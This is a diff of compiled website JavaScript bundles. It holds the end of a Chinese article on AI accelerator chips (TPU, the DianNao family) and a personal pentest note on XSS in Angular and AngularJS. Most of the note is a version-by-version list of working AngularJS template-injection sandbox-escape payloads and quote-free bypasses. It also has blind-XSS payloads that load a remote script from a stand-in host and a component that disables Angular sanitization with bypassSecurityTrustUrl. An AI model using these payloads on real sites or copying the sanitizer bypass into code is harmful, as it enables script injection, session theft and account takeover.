u679c\u5bf9\u5e94\u4f4d\u7f6e\u76f8\u4e58\uff0c\u53ef\u4ee5\u5355\u72ec\u8f93\u51fa"}),"\n",(0,r.jsx)(e.p,{children:"\u52a0\u6cd5\u6811\u5c42\uff1a\u5c06\u4e58\u6cd5\u5c42\u7684\u7ed3\u679c\u7d2f\u52a0"}),"\n",(0,r.jsx)(e.p,{children:"\u7d2f\u52a0\u5c42\uff1a\u5c06\u4e0a\u4e00\u5c42\uff08\u52a0\u6cd5\u6811\u5c42\uff09\u7684\u7ed3\u679c\u7d2f\u52a0\uff0c\u53ef\u4ee5\u5355\u72ec\u8f93\u51fa"}),"\n",(0,r.jsx)(e.p,{children:"\u7279\u6b8a\u5904\u7406\u5c42\uff1a\u7531\u4e00\u4e2a\u5206\u6bb5\u7ebf\u6027\u903c\u8fd1\u5b9e\u73b0\u7684\u975e\u7ebf\u6027\u51fd\u6570\u548ck\u6392\u5e8f\u5668\uff08\u8f93\u51fa\u4e0a\u4e00\u5c42\u8f93\u51fa\u4e2d\u6700\u5c0f\u7684\u8f93\u51fa\uff09\u7ec4\u6210"}),"\n",(0,r.jsx)(e.p,{children:"\u8be5\u8fd0\u7b97\u5355\u5143\u662fDianNao\u7cfb\u5217\u4e2d\u529f\u80fd\u6700\u591a\u7684\u5355\u5143\uff0c\u914d\u7f6e\u975e\u5e38\u7075\u6d3b\u3002\u4f8b\u5982\u5b9e\u73b0\u5411\u91cf\u76f8\u4e58\uff08\u5bf9\u5e94\u4f4d\u7f6e\u76f8\u4e58\u540e\u7d2f\u52a0\uff09\u65f6\uff0c\u5f03\u7528\u8ba1\u6570\u5c42\uff0c\u52a0\u6cd5\u5c42\uff0c\u5c06\u6570\u636e\u4ece\u4e58\u6cd5\u5c42\uff0c\u52a0\u6cd5\u6811\u5c42\u548c\u7d2f\u52a0\u5c42\u6d41\u8fc7\u5373\u53ef\u5b9e\u73b0\u3002"}),"\n",(0,r.jsx)(e.p,{children:"PuDianNao\u652f\u63017\u79cd\u673a\u5668\u5b66\u4e60\u7b97\u6cd5\uff1a\u795e\u7ecf\u7f51\u7edc\uff0c\u7ebf\u6027\u6a21\u578b\uff0c\u652f\u6301\u5411\u91cf\u673a\uff0c\u51b3\u7b56\u6811\uff0c\u6734\u7d20\u8d1d\u53f6\u65af\uff0cK\u4e34\u8fd1\u548cK\u7c7b\u805a\uff0c\u6240\u9700\u8981\u652f\u6301\u7684\u8fd0\u7b97\u8f83\u591a\uff0c\u56e0\u6b64PuDianNao\u7684\u8fd0\u7b97\u5206\u6790\u4e3b\u8981\u96c6\u4e2d\u5728\u5b58\u50a8\u65b9\u9762\uff0c\u5176\u8fd0\u7b97\u6838\u5fc3\u7684\u8bbe\u8ba1\u4e2d\u8bf4\u660ePuDianNao\u652f\u6301\u7684\u8fd0\u7b97\u4e3b\u8981\u6709\uff1a\u5411\u91cf\u70b9\u4e58\uff0c\u8ddd\u79bb\u8ba1\u7b97\uff0c\u8ba1\u6570\uff0c\u6392\u5e8f\u548c\u975e\u7ebf\u6027\u51fd\u6570\u3002\u5176\u4ed6\u672a\u8986\u76d6\u7684\u8ba1\u7b97\u4f7f\u7528ALU\u5b9e\u73b0\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://ieeexplore.ieee.org/abstract/document/8192463",children:"In-datacenter performance analysis of a tensor processing unit"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://www.freepatentsonline.com/y2017/0103313.html",children:"Neural Network Processor"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://dl.acm.org/doi/abs/10.1145/2654822.2541967",children:"DianNao: a small-footprint high-throughput accelerator for ubiquitous machine-learning"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://ieeexplore.ieee.org/document/7011421",children:"DaDianNao: A Machine-Learning Supercomputer"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://ieeexplore.ieee.org/document/7284058",children:"ShiDianNao: Shifting vision processing closer to the sensor"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://dl.acm.org/doi/abs/10.1145/2775054.2694358",children:"PuDianNao: A Polyvalent Machine Learning Accelerator"})})]})}function o(n={}){const{wrapper:e}={...(0,a.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(h,{...n})}):h(n)}},25358:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/accelerator-69cfd7bf8aed4773d4326f8771cf5956.jpg"},28453:(n,e,i)=>{i.d(e,{R:()=>t,x:()=>c});var s=i(96540);const r={},a=s.createContext(r);function t(n){const e=s.useContext(a);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:t(n.components),s.createElement(a.Provider,{value:e},n.children)}},34274:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/TPU-cab53f46a11cfc4298201a002bb7b756.jpg"},38488:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/MMU-376b2784e76a04cdd92b8f0cefd5a5c5.jpg"},38997:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/diannao-24639eb4c8386196464107558ebf0356.jpg"},53683:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/shidiannao-e0a656501afe481ac128bdbaa58d4241.jpg"},55651:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/MLU-4c83e6cfdceb339cfa0214877ab0c8b2.jpg"},73698:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/dadiannao-15aec937288716ba33e2fd0106c98f3c.jpg"},76204:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/FloorPlan-f84f6a7e178ce89da73e434529e9c84a.jpg"}}]); \ No newline at end of file diff --git a/assets/js/1c3194f1.06caf996.js b/assets/js/1c3194f1.06caf996.js new file mode 100644 index 0000000..470a3b2 --- /dev/null +++ b/assets/js/1c3194f1.06caf996.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5839],{6811:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>o,contentTitle:()=>c,default:()=>p,frontMatter:()=>l,metadata:()=>t,toc:()=>i});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular","title":"Angular \u548c AngularJS \u4e2d\u7684 XSS","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165/01.XSSInAngular.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165/01.XSSInAngular.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"XSS\u6ce8\u5165","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/"},"next":{"title":"02.XSSWithRelativePathOverwrite.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite"}}');var a=r(74848),s=r(28453);const l={},c="Angular \u548c AngularJS \u4e2d\u7684 XSS",o={},i=[{value:"\u5ba2\u6237\u7aef\u6a21\u677f\u6ce8\u5165",id:"\u5ba2\u6237\u7aef\u6a21\u677f\u6ce8\u5165",level:2},{value:"\u5b58\u50a8/\u53cd\u5c04 XSS-AngularJS \u4e2d\u7684\u7b80\u5355\u8b66\u62a5",id:"\u5b58\u50a8\u53cd\u5c04-xss-angularjs-\u4e2d\u7684\u7b80\u5355\u8b66\u62a5",level:3},{value:"\u9ad8\u7ea7\u7ed5\u8fc7 XSS",id:"\u9ad8\u7ea7\u7ed5\u8fc7-xss",level:3},{value:"\u76f2 XSS",id:"\u76f2-xss",level:3},{value:"\u81ea\u52a8\u6d88\u6bd2",id:"\u81ea\u52a8\u6d88\u6bd2",level:2},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function d(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(n.header,{children:(0,a.jsx)(n.h1,{id:"angular-\u548c-angularjs-\u4e2d\u7684-xss",children:"Angular \u548c AngularJS \u4e2d\u7684 XSS"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,a.jsxs)(n.table,{children:[(0,a.jsx)(n.thead,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(n.tbody,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.td,{style:{textAlign:"left"},children:(0,a.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,a.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 09:51:52"})]})})]}),"\n",(0,a.jsx)(n.h2,{id:"\u5ba2\u6237\u7aef\u6a21\u677f\u6ce8\u5165",children:"\u5ba2\u6237\u7aef\u6a21\u677f\u6ce8\u5165"}),"\n",(0,a.jsx)(n.p,{children:"\u4ee5\u4e0b\u6709\u6548\u8f7d\u8377\u57fa\u4e8e\u5ba2\u6237\u7aef\u6a21\u677f\u6ce8\u5165\u3002"}),"\n",(0,a.jsx)(n.h3,{id:"\u5b58\u50a8\u53cd\u5c04-xss-angularjs-\u4e2d\u7684\u7b80\u5355\u8b66\u62a5",children:"\u5b58\u50a8/\u53cd\u5c04 XSS-AngularJS \u4e2d\u7684\u7b80\u5355\u8b66\u62a5"}),"\n",(0,a.jsxs)(n.blockquote,{children:["\n",(0,a.jsx)(n.p,{children:"AngularJS \u4ece 1.6 \u7248\u672c\u8d77\u5df2\u7ecf\u5b8c\u5168\u5220\u9664\u4e86\u6c99\u7bb1"}),"\n"]}),"\n",(0,a.jsxs)(n.p,{children:["AngularJS 1.6+by",(0,a.jsx)(n.a,{href:"https://twitter.com/cure53berlin",children:"\u9a6c\u91cc\u5965 \xb7 \u6d77\u5fb7\u91cc\u5e0c"})]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"constructor.constructor('alert(1)')()\n"})}),"\n",(0,a.jsxs)(n.p,{children:["AngularJS 1.6+by",(0,a.jsx)(n.a,{href:"https://twitter.com/brutelogic/status/1031534746084491265",children:"@ \u91ce\u86ee\u7684"})]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"[].pop.constructor('alert\\u00281\\u0029')()\n"})}),"\n",(0,a.jsxs)(n.p,{children:["\u793a\u4f8b\u4f4d\u4e8e",(0,a.jsx)(n.a,{href:"https://brutelogic.com.br/xss.php?a=%3Cbrute+ng-app%3E%7B%7B%5B%5D.pop.constructor%26%2340%27alert%5Cu00281%5Cu0029%27%26%2341%26%2340%26%2341%7D%7D",children:"https://brutelogic.com.br/xss.php"})]}),"\n",(0,a.jsxs)(n.p,{children:["AngularJS 1.6.0 \u4f5c\u8005\uff1a",(0,a.jsx)(n.a,{href:"https://twitter.com/LewisArdern/status/1055887619618471938",children:"@ \u5218\u6613\u65af-\u963f\u5fb7\u6069"}),"&",(0,a.jsx)(n.a,{href:"https://twitter.com/garethheyes/status/1055884215131213830",children:"@ \u52a0\u96f7\u745f\u8036\u65af"})]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"0[a='constructor'][a]('alert(1)')()\n$eval.constructor('alert(1)')()\n$on.constructor('alert(1)')()\n"})}),"\n",(0,a.jsxs)(n.p,{children:["AngularJS 1.5.9-1.5.11 \u4f5c\u8005",(0,a.jsx)(n.a,{href:"https://twitter.com/tehjh",children:"Jan Horn"})]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:" c=''.sub.call;b=''.sub.bind;a=''.sub.apply;\n c.$apply=$apply;c.$eval=b;op=$root.$$phase;\n $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;\n C=c.$apply(c);$root.$$phase=op;$root.$digest=od;\n B=C(b,c,b);$evalAsync(\"\n astNode=pop();astNode.type='UnaryExpression';\n astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';\n astNode.argument={type:'Identifier',name:'foo'};\n \");\n m1=B($$asyncQueue.pop().expression,null,$root);\n m2=B(C,null,m1);[].push.apply=m2;a=''.sub;\n $eval('a(b.c)');[].push.apply=a;\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.5.0-1.5.8"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.4.0-1.4.9"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u5b89\u683c\u62c9 JS 1.3.20"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u5b89\u683c\u62c9 JS 1.3.19"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n 'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;\n $eval('x=alert(1)//');\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.3.3-1.3.18"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;\n 'a'.constructor.prototype.charAt=[].join;\n $eval('x=alert(1)//'); \n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.3.1-1.3.2"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;\n 'a'.constructor.prototype.charAt=''.valueOf;\n $eval('x=alert(1)//');\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u5b89\u683c\u62c9 JS 1.3.0"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"!ready && (ready = true) && (\n !call\n ? $$watchers[0].get(toString.constructor.prototype)\n : (a = apply) &&\n (apply = constructor) &&\n (valueOf = call) &&\n (''+''.toString(\n 'F = Function.prototype;' +\n 'F.apply = F.a;' +\n 'delete F.a;' +\n 'delete F.valueOf;' +\n 'alert(1);'\n ))\n );\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.2.24-1.2.29"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"'a'.constructor.prototype.charAt=''.valueOf;$eval(\"x='\\\"+(y='if(!window\\\\u002ex)alert(window\\\\u002ex=1)')+eval(y)+\\\"'\");\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.2.19-1.2.23"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:'toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);\n'})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.2.6-1.2.18"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.2.2-1.2.5"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval(\"x='\"+(y='if(!window\\\\u002ex)alert(window\\\\u002ex=1)')+eval(y)+\"'\");\n"})}),"\n",(0,a.jsx)(n.p,{children:"\u89d2\u5ea6 JS 1.2.0-1.2.1"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()\n"})}),"\n",(0,a.jsx)(n.p,{children:"AngularJS 1.0.1-1.1.5 \u548c Vue JS"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"constructor.constructor('alert(1)')()\n"})}),"\n",(0,a.jsx)(n.h3,{id:"\u9ad8\u7ea7\u7ed5\u8fc7-xss",children:"\u9ad8\u7ea7\u7ed5\u8fc7 XSS"}),"\n",(0,a.jsxs)(n.p,{children:["AngularJS\uff08\u4e0d\u5e26 ",(0,a.jsx)(n.code,{children:"'"})," \u5355\u5f15\u53f7\u548c ",(0,a.jsx)(n.code,{children:'"'})," \u53cc\u5f15\u53f7\uff09"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()\n"})}),"\n",(0,a.jsxs)(n.p,{children:["AngularJS\uff08\u4e0d\u5e26 ",(0,a.jsx)(n.code,{children:"'"})," \u5355\u5f15\u53f7\u548c\u53cc\u5f15\u53f7\u4ee5\u53ca\u5b57\u7b26\u4e32\uff09"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()\n"})}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()\n"})}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()\n"})}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()\n"})}),"\n",(0,a.jsx)(n.p,{children:"AngularJS \u65c1\u8def\u6676\u5706\u3014 Imperva \u3015"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"x=['constr', 'uctor'];a=x.join('');b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'pr\\\\u{6f}mpt(d\\\\u{6f}cument.d\\\\u{6f}main)')()\n"})}),"\n",(0,a.jsx)(n.h3,{id:"\u76f2-xss",children:"\u76f2 XSS"}),"\n",(0,a.jsx)(n.p,{children:"1.0.1-1.1.5&&>1.6.0 \u9a6c\u91cc\u5965 \xb7 \u6d77\u5fb7\u91cc\u5e0c\uff08Cure53\uff09"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n constructor.constructor(\"var _ = document.createElement('script');\n _.src='//localhost/m';\n document.getElementsByTagName('body')[0].appendChild(_)\")()\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"Lewis Ardern\uff08Synopsys\uff09\u548c Gareth Heyes\uff08PortSwigger\uff09\u7684\u66f4\u77ed\u7684 1.0.1-1.1.5&&>1.6.0"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n $on.constructor(\"var _ = document.createElement('script');\n _.src='//localhost/m';\n document.getElementsByTagName('body')[0].appendChild(_)\")()\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"1.2.0-1.2.5 \u52a0\u96f7\u65af \xb7 \u6d77\u8036\u65af\uff08PortSwigger\uff09"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n a=\"a\"[\"constructor\"].prototype;a.charAt=a.trim;\n $eval('a\",eval(`var _=document\\\\x2ecreateElement(\\'script\\');\n _\\\\x2esrc=\\'//localhost/m\\';\n document\\\\x2ebody\\\\x2eappendChild(_);`),\"')\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"1.2.6-1.2.18 \u4f5c\u8005\uff1aJan Horn\uff08Cure53\uff0c\u73b0\u5c31\u804c\u4e8e Google Project Zero\uff09"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n (_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'eval(\"\n var _ = document.createElement(\\'script\\');\n _.src=\\'//localhost/m\\';\n document.getElementsByTagName(\\'body\\')[0].appendChild(_)\")')()\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"1.2.19\uff08\u706b\u72d0\uff09\u4f5c\u8005\uff1aMathias Karlsson"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n toString.constructor.prototype.toString=toString.constructor.prototype.call;\n [\"a\",'eval(\"var _ = document.createElement(\\'script\\');\n _.src=\\'//localhost/m\\';\n document.getElementsByTagName(\\'body\\')[0].appendChild(_)\")'].sort(toString.constructor);\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"1.2.20-1.2.29 \u4f5c\u8005\uff1aGareth Heyes\uff08PortSwigger\uff09"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n a=\"a\"[\"constructor\"].prototype;a.charAt=a.trim;\n $eval('a\",eval(`\n var _=document\\\\x2ecreateElement(\\'script\\');\n _\\\\x2esrc=\\'//localhost/m\\';\n document\\\\x2ebody\\\\x2eappendChild(_);`),\"')\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"1.3.0-1.3.9 \u4f5c\u8005\uff1aGareth Heyes\uff08PortSwigger\uff09"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n a=toString().constructor.prototype;a.charAt=a.trim;\n $eval('a,eval(`\n var _=document\\\\x2ecreateElement(\\'script\\');\n _\\\\x2esrc=\\'//localhost/m\\';\n document\\\\x2ebody\\\\x2eappendChild(_);`),a')\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"1.4.0-1.5.8 \u4f5c\u8005\uff1a\u52a0\u96f7\u65af \xb7 \u6d77\u8036\u65af\uff08PortSwigger\uff09"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n a=toString().constructor.prototype;a.charAt=a.trim;\n $eval('a,eval(`var _=document.createElement(\\'script\\');\n _.src=\\'//localhost/m\\';document.body.appendChild(_);`),a')\n\n"})}),"\n",(0,a.jsx)(n.p,{children:"1.5.9-1.5.11 \u4f5c\u8005\uff1aJan Horn\uff08Cure53\uff0c\u73b0\u5c31\u804c\u4e8e Google Project Zero\uff09"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-javascript",children:"\n c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;\n c.$eval=b;op=$root.$$phase;\n $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;\n C=c.$apply(c);$root.$$phase=op;$root.$digest=od;\n B=C(b,c,b);$evalAsync(\"astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,eval(`var _=document.createElement(\\\\'script\\\\');_.src=\\\\'//localhost/m\\\\';document.body.appendChild(_);`)))+';astNode.argument={type:'Identifier',name:'foo'};\");\n m1=B($$asyncQueue.pop().expression,null,$root);\n m2=B(C,null,m1);[].push.apply=m2;a=''.sub;\n $eval('a(b.c)');[].push.apply=a;\n\n"})}),"\n",(0,a.jsx)(n.h2,{id:"\u81ea\u52a8\u6d88\u6bd2",children:"\u81ea\u52a8\u6d88\u6bd2"}),"\n",(0,a.jsxs)(n.blockquote,{children:["\n",(0,a.jsx)(n.p,{children:"\u4e3a\u4e86\u7cfb\u7edf\u5730\u963b\u6b62 XSS \u9519\u8bef\uff0cAngular \u9ed8\u8ba4\u60c5\u51b5\u4e0b\u5c06\u6240\u6709\u503c\u89c6\u4e3a\u4e0d\u53ef\u4fe1\u3002\u5f53\u4e00\u4e2a\u503c\u901a\u8fc7\u5c5e\u6027\u3001\u5c5e\u6027\u3001\u6837\u5f0f\u3001\u7c7b\u7ed1\u5b9a\u6216\u63d2\u503c\u4ece\u6a21\u677f\u63d2\u5165 DOM \u65f6\uff0cAngular \u4f1a\u6e05\u9664\u548c\u8f6c\u4e49\u4e0d\u53d7\u4fe1\u4efb\u7684\u503c\u3002"}),"\n"]}),"\n",(0,a.jsx)(n.p,{children:"\u4f46\u662f\uff0c\u53ef\u4ee5\u5c06\u503c\u6807\u8bb0\u4e3a\u53ef\u4fe1\uff0c\u5e76\u4f7f\u7528\u4ee5\u4e0b\u65b9\u6cd5\u963b\u6b62\u81ea\u52a8\u6e05\u9664\uff1a"}),"\n",(0,a.jsxs)(n.ul,{children:["\n",(0,a.jsx)(n.li,{children:"bypassSecurityTrustHtml"}),"\n",(0,a.jsx)(n.li,{children:"bypassSecurityTrustScript"}),"\n",(0,a.jsx)(n.li,{children:"\u65c1\u8def\u5b89\u5168\u4fe1\u4efb\u6837\u5f0f"}),"\n",(0,a.jsx)(n.li,{children:"bypassSecurityTrustUrl"}),"\n",(0,a.jsx)(n.li,{children:"bypassSecurityTrustResourceUrl"}),"\n"]}),"\n",(0,a.jsxs)(n.p,{children:["\u4f7f\u7528\u4e0d\u5b89\u5168\u65b9\u6cd5\u7684\u7ec4\u4ef6\u793a\u4f8b ",(0,a.jsx)(n.code,{children:"bypassSecurityTrustUrl"}),"\uff1a"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{children:'import { Component, OnInit } from \'@angular/core\';\n\n@Component({\n selector: \'my-app\',\n template: `\n <h4>An untrusted URL:</h4>\n <p><a class="e2e-dangerous-url" [href]="dangerousUrl">Click me</a></p>\n <h4>A trusted URL:</h4>\n <p><a class="e2e-trusted-url" [href]="trustedUrl">Click me</a></p>\n `,\n})\nexport class App {\n constructor(private sanitizer: DomSanitizer) {\n this.dangerousUrl = \'javascript:alert("Hi there")\';\n this.trustedUrl = sanitizer.bypassSecurityTrustUrl(this.dangerousUrl);\n 